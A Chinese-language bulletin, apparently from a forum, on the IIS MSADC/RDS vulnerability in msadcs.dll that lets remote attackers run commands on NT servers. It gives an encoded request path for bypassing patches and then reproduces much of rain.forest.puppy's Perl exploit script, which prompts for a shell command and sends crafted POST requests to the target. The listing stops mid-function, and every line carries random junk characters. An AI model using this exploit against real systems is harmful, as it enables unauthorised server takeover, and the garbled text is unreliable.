IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
o&q:b9T 6$PQ$ 涉及程序:
(~\HizSl Microsoft NT server
w@WtW8
p^ %m lH 描述:
H '5zl^8I 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
n=rmf*,? .vmCKZ 详细:
uUaDesz~= 如果你没有时间读详细内容的话,就删除:
&gV9h>Kc# c:\Program Files\Common Files\System\Msadc\msadcs.dll
D_F1<q 有关的安全问题就没有了。
tWZ8(E$ {nZP4jze 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
;YokPiBy Y"5FK 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
G|&$/]~ 关于利用ODBC远程漏洞的描述,请参看:
} 5"Rj< #( 4)ps. http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm j5hQ;~Fa| 'u PI~l`g 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
(8S+-k? http://www.microsoft.com/security/bulletins/MS99-025faq.asp <vg|8-,#m N}z]OvnZH 这里不再论述。
_NuHz FzsW^u+ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
_B4N2t$ 2sBYy 8.r /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
0n{+_
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
r,,* k E jxw8jo06: l0!`>Xx[b #将下面这段保存为txt文件,然后: "perl -x 文件名"
F%ukT6xp SX?hu|g_r #!perl
'Um\m #
_}H`(d%N # MSADC/RDS 'usage' (aka exploit) script
-k,}LJjo #
@MH/efW. # by rain.forest.puppy
jfR!M07| #
yW(A0 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
oe_,q&e # beta test and find errors!
rt! lc-g%/ A{hST~s use Socket; use Getopt::Std;
f xD|_ getopts("e:vd:h:XR", \%args);
:=`N2D (j)>npOd9 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
L#T`h}1Z @:u2{>Yl if (!defined $args{h} && !defined $args{R}) {
y5V]uQSD print qq~
9jUm0B{? Usage: msadc.pl -h <host> { -d <delay> -X -v }
wqn}t] -h <host> = host you want to scan (ip or domain)
xe1xP@e? -d <seconds> = delay between calls, default 1 second
4mWT"T-8 -X = dump Index Server path table, if available
W-"FRTI4 -v = verbose
-QydUr/(o -e = external dictionary file for step 5
74Il]i1= 4[LzjC Or a -R will resume a command session
0c:jwtf (XA]k%45 ~; exit;}
[~rBnzb V V~Kgy $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
8!dA1]2; if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
qg-?Z,EB if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
aSNTm8SYX if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
`ZAGseDd~ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Y]1b39O if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
.zyi'Kj YR/rN, if (!defined $args{R}){ $ret = &has_msadc;
!~aDmY2 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
0~N2MoOl^ 4#@zn 2l print "Please type the NT commandline you want to run (cmd /c assumed):\n"
TL_8c][.4$ . "cmd /c ";
JS1''^G&. $in=<STDIN>; chomp $in;
j'JNQo;q $command="cmd /c " . $in ;
fqU*y 6] Ke+#ww if (defined $args{R}) {&load; exit;}
i;B)@op.# l<RztzUw print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
cw{[% 7 &try_btcustmr;
:<Y, f(c :Keek-E`e= print "\nStep 2: Trying to make our own DSN...";
[Y]\sF;J &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
s|Acv4| V u($y<Q)= print "\nStep 3: Trying known DSNs...";
Gvw:h9v &known_dsn;
8wqHr@}p ?-0>Wbg print "\nStep 4: Trying known .mdbs...";
@{!c [{x,T &known_mdb;
cvvba 60 1Lb+
& if (defined $args{e}){
Rc H",*U print "\nStep 5: Trying dictionary of DSN names...";
~vIQ-|8r: &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
%g4G&My@J Q<V?rPAcx print "Sorry Charley...maybe next time?\n";
{1V~`1(w exit;
D?3^>h |Tp>,\:5 ##############################################################################
0x\bDWZ_ ?_9A`LC*
sub sendraw { # ripped and modded from whisker
Ul@yXtj sleep($delay); # it's a DoS on the server! At least on mine...
195m0'zda my ($pstr)=@_;
%P2GQS-N socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
g9`z]qGWS: die("Socket problems\n");
@exeHcW61 if(connect(S,pack "SnA4x8",2,80,$target)){
W7lR54%| select(S); $|=1;
Kuz
/ print $pstr; my @in=<S>;
J]A!>|Ic select(STDOUT); close(S);
}Zue?!KQ return @in;
r9Wk7?w) } else { die("Can't connect...\n"); }}
Oozt&* F J?~El& ##############################################################################
*1fq :-- l#_(suo64 sub make_header { # make the HTTP request
"+iPeRF!hU my $msadc=<<EOT
25RFi24>D POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
c_e2'K: User-Agent: ACTIVEDATA
B'OUT2cgB Host: $ip
Pwn3/+"%K Content-Length: $clen
|?=K'[5 Connection: Keep-Alive
p^~AbU'6~ F(J6 XnQ ADCClientVersion:01.06
'a`cK;X9F Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
[;`B 3?F*|E_ --!ADM!ROX!YOUR!WORLD!
}j^asuf~c Content-Type: application/x-varg
0>?%{Xy Content-Length: $reqlen
*"\QR>n nCZ&FNi{O~ EOT
x w8
e ; $msadc=~s/\n/\r\n/g;
X!,2/WT return $msadc;}
]_6w(>A@3# ,iKL
68 ##############################################################################
' XJ>;",[ 1PD{m{ sub make_req { # make the RDS request
#)&kF+ my ($switch, $p1, $p2)=@_;
/gWaxR*m my $req=""; my $t1, $t2, $query, $dsn;
+>b~nK>M OT[&a6